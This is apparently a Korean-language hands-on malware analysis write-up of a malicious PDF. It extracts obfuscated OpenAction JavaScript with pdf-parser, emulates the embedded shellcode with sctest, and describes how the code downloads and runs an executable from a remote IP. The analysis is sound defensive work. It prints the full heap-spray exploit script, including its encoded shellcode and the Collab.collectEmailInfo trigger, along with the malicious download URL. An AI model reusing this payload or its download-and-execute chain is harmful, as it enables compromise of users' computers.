Search

badpdf.pdf 분석

카테고리
[실습] 악성코드 분석
상태
완료
게시일
2024/07/31
태그
PDF, MS Office

파일 정보

File Name
badpdf.pdf
Size
2.7 KB
Type
PDF 1.3
Behavior
Downloader
MD5
2264dd0ee26d8e3fbdf715dd0d807569
SHA256
ad6cedb0d1244c1d740bf5f681850a275c4592281cdebb491ce533edd9d6a77d
ssdeep
z0G1oBwJcGL5t55N947sdh5Vnq06daFla8ySj9yKWRssJrAmrB3

악성코드 상세 분석

1. pdf 내 의심스러운 키워드 찾기

pdfid.py badpdf.pdf
Shell
복사
pdfid.py 를 이용하여 확인
OpenAction 1개, JS 2개, JavaScript 3개 의 의심스러운 키워드를확인

2. 키워드 기반 검색

2.1 OpenAction

pdf-parser --search openaction badpdf.pdf
Shell
복사
OpenAction 키워드는 문서를 염과 동시에 실행될 동작을 의미하므로 우선적으로 검색
검색결과 obj 1 의 내용에서 JS 키워드를 사용해서 this.zfnvkWYOKv\\(\\) 함수가 실행됨을 확인
해당 키워드를 추가적으로 검토할 필요가 있으며 정확한 내용을 확인하기 위해서는 obj 1이 참조하고 있는 obj 2, 3, 4, 5, 6, 7도 확인 필요
/S 키워드? /S 키워드는 “Subtype"을 나타내는 키로, 특정 객체나 동작의 하위 유형을 정의한다.
여기서는 /S /JavaScript 형태로 사용하여 앞선 코드가 JavaScript임을 명시하여 이를 구체화하고 있다.

2.2 JS

this.zfnvkWYOKv\\(\\) 을 실행하는 JS 키워드를 기반으로 재검색
pdf-parser --search JS badpdf.pdf
Shell
복사
검색결과인 obj 12obj 13을 참조하고 있는 것 확인
pdf-parser --object 13 badpdf.pdf
Shell
복사
obj 13은 데이터 스트림이 포함되어 있음 확인, 해당 오브젝트에 대한 상세 분석이 필요
obj 13/Filter /FlateDecode 키워드를 사용, FlateDecode 방식으로 인코딩 됨 --filter 옵션을 사용해줘야 한다.
--filter 옵션 사용 시 FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode 등 5가지의 인코딩에 대해 디코딩 가능

2.3 obj 13 상세분석

pdf-parser --object 13 --raw --filter badpdf.pdf
Shell
복사
JS 코드
function zfnvkWYOKv() { gwKPaJSHReD0hTAD51qao1s = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u372F%u2E38%u3031%u2E39%u3033%u352E%u632F%u756F%u746E%u302F%u3530%u4441%u3635%u2F46%u6F6C%u6461%u702E%u7068%u703F%u6664%u613D%u3836%u6534%u6563%u6565%u3637%u6366%u3235%u3732%u3337%u3832%u6136%u3938%u6235%u3863%u3334%u0036"); tuVglXABgYUAQFEYVPi3lf = unescape("%u9090%u9090"); nDsGdY1TdZUDCCpNeYRdk28BeZ5R = 20 + gwKPaJSHReD0hTAD51qao1s.length while (tuVglXABgYUAQFEYVPi3lf.length < nDsGdY1TdZUDCCpNeYRdk28BeZ5R) tuVglXABgYUAQFEYVPi3lf += tuVglXABgYUAQFEYVPi3lf; vmRV3x9BCtZs = tuVglXABgYUAQFEYVPi3lf.substring(0, nDsGdY1TdZUDCCpNeYRdk28BeZ5R); dVghsR4KOJoE6WzWkTW0vz = tuVglXABgYUAQFEYVPi3lf.substring(0, tuVglXABgYUAQFEYVPi3lf.length-nDsGdY1TdZUDCCpNeYRdk28BeZ5R); while(dVghsR4KOJoE6WzWkTW0vz.length + nDsGdY1TdZUDCCpNeYRdk28BeZ5R < 0x40000) dVghsR4KOJoE6WzWkTW0vz = dVghsR4KOJoE6WzWkTW0vz + dVghsR4KOJoE6WzWkTW0vz + vmRV3x9BCtZs; dddA9SvmIp7bFVTvbRcRoFQ = new Array(); for ( i = 0; i < 2020; i++ ) dddA9SvmIp7bFVTvbRcRoFQ[i] = dVghsR4KOJoE6WzWkTW0vz + gwKPaJSHReD0hTAD51qao1s; function rHjX2qS2YpWWuvNjX9JfKZ3F(qlrSKFKRQUuUXlV0ES9I6oz4pM, oq7g9J0RSV3FcMgr9DLvvDY8ee) { var lTZGviUaML2vE40mHbYk = ""; while (--qlrSKFKRQUuUXlV0ES9I6oz4pM >= 0) lTZGviUaML2vE40mHbYk += oq7g9J0RSV3FcMgr9DLvvDY8ee; return lTZGviUaML2vE40mHbYk; } Collab.collectEmailInfo({msg:rHjX2qS2YpWWuvNjX9JfKZ3F(4096, unescape("%u0909%u0909"))}); }
JavaScript
복사
결과적으로 obj 1 에서 실행되는 JS 스크립트는 위와 같이 난독화 되어있음을 확인
gwKPaJSHReD0hTAD51qao1s 에 정의되는 코드가 핵심코드로 추정되므로 추가적인 분석 진행

3. 쉘 코드 분석

3.1 unicode.txt 에 핵심코드 복사

vi unicode.txt
Shell
복사

3.2 해당 내용 바이너리 전환

cat unicode.txt | unicode2raw > shellcode.raw cat shellcode.raw
Bash
복사
http://78.109.30.5 로 시작되는 의심스러운 URL 발견
추가적인 추적을 위해 sctest 도구 활용

3.3 sctest 활용 쉘 코드 테스트

cat shellcode.raw | sctest -Svs 1000000 > sctest-out.txt cat sctest-out.txt
Bash
복사
sctest? libemu라는 라이브러리에서 제공하는 도구, 주로 쉘코드를 테스트하고 분석하는 데 사용 옵션
-S (쉘코드 모드)
전달받은 바이너리 데이터를 실제로 실행하지 않고, 에뮬레이션을 통해 실행 흐름을 확인
-v (verbose)
자세한 출력 모드를 활성화, 일반적인 실행 로그보다 더 많은 정보를 제공
-s 1000000 (스택 크기 설정)
스택(stack)의 크기를 설정, 쉘코드가 실행될 때 사용할 수 있는 스택 메모리 공간의 크기를 지정
1000000은 스택의 크기를 1MB로 설정한 것
스택 크기를 충분하게 설정해 두어야 쉘코드가 정상적으로 동작할 수 있다. 만약 스택 공간이 너무 작으면, 쉘코드가 정상적으로 동작하지 않을 수 있다.
sctest-out.txt 내용
해당 쉘코드의 전반적인 악성행위 확인 가능
1.
LoadLibraryA API를 호출하여 urlmon.dll 로드
urlmon은 Windows의 URL 관련 기능을 제공하는 라이브러리로, 주로 인터넷 리소스를 다운로드할 때 사용
핸들값 : 0x7df20000
HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x00417193 => = "URLMON"; ) = 0x7df20000;
Bash
복사
2.
GetSystemDirectory API를 호출하여 시스템 디렉토리 (c:\WINDOWS\system32) 경로 획득
시스템 디렉토리 경로의 길이 : 19
UINT GetSystemDirectory ( LPTSTR lpBuffer = 0x00416c1e => = "c:\WINDOWS\system32"; UINT uSize = 255; ) = 19;
Bash
복사
3.
기존에 악성코드가 존재할 경우 DeleteFile API 를 이용하여 제거
0x00416c1e 주소는 이후 악성코드가 저장되는 주소
ERROR DeleteFile ( LPCTSTR lpFileName = 0x00416c1e => none; ) = -1;
Bash
복사
4.
URLDownloadToFile API를 호출하여 원격 서버에서 파일을 다운로드
URL : http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436
저장경로 : c:\WINDOWS\system32\~.exe
저장 주소 : 0x00416c1e
반환 값 0 : 성공
HRESULT URLDownloadToFile ( LPUNKNOWN pCaller = 0x00000000 => none; LPCTSTR szURL = 0x0041719a => = "http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436"; LPCTSTR szFileName = 0x00416c1e => = "c:\WINDOWS\system32\~.exe"; DWORD dwReserved = 0; LPBINDSTATUSCALLBACK lpfnCB = 0; ) = 0;
Bash
복사
5.
WinExec API를 호출하여 악성코드 실행
uCmdShow = 0 : 실행 창의 표시 방식, 0 은 백그라운드 실행
반환 값 = 32 : 성공적으로 실행
UINT WINAPI WinExec ( LPCSTR lpCmdLine = 0x00416c1e => = "c:\WINDOWS\system32\~.exe"; UINT uCmdShow = 0; ) = 32;
Bash
복사
6.
ExitThread API를 호출하여 현재 실행 중인 쓰레드 종료
종료코드 = -1 : 종료
반환 값 = 0 : 종료 성공
void ExitThread ( DWORD dwExitCode = -1; ) = 0;
Bash
복사
sctest-out.txt 전체 내용
verbose = 1 Hook me Captain Cook! userhooks.c:132 user_hook_ExitThread ExitThread(-1) stepcount 314321 HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x00417193 => = "URLMON"; ) = 0x7df20000; UINT GetSystemDirectory ( LPTSTR lpBuffer = 0x00416c1e => = "c:\WINDOWS\system32"; UINT uSize = 255; ) = 19; ERROR DeleteFile ( LPCTSTR lpFileName = 0x00416c1e => none; ) = -1; HRESULT URLDownloadToFile ( LPUNKNOWN pCaller = 0x00000000 => none; LPCTSTR szURL = 0x0041719a => = "http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436"; LPCTSTR szFileName = 0x00416c1e => = "c:\WINDOWS\system32\~.exe"; DWORD dwReserved = 0; LPBINDSTATUSCALLBACK lpfnCB = 0; ) = 0; UINT WINAPI WinExec ( LPCSTR lpCmdLine = 0x00416c1e => = "c:\WINDOWS\system32\~.exe"; UINT uCmdShow = 0; ) = 32; void ExitThread ( DWORD dwExitCode = -1; ) = 0;
Bash
복사
악성코드 동작 요약
원격 서버에서 악성 파일을 다운로드하여 시스템 디렉토리에 저장
해당 파일을 실행하여 추가적인 악성 행위 시도
파일 실행 후 자신의 쓰레드를 종료

4. .exe 파일 변환

IDA 를 활용하여 더욱 상세한 분석을 위해 쉘코드를 exe 파일로 변환

4.1 유니코드 데이터 변환 (hex)

유니코드 데이터를 unicode2hex-escaped 도구를 활용하여 hex 형식으로 변환
cat unicode.txt | unicode2hex-escaped > shell.hex cat shell.hex
Bash
복사

4.2 exe 파일 변환

hex 파일을 shellcode2exe.py 툴을 사용하여 exe 파일로 변환
shellcode2exe.py -s shell.hex shell.exe
Bash
복사
이후 IDA를 이용하여 추가적인 분석이 가능하다.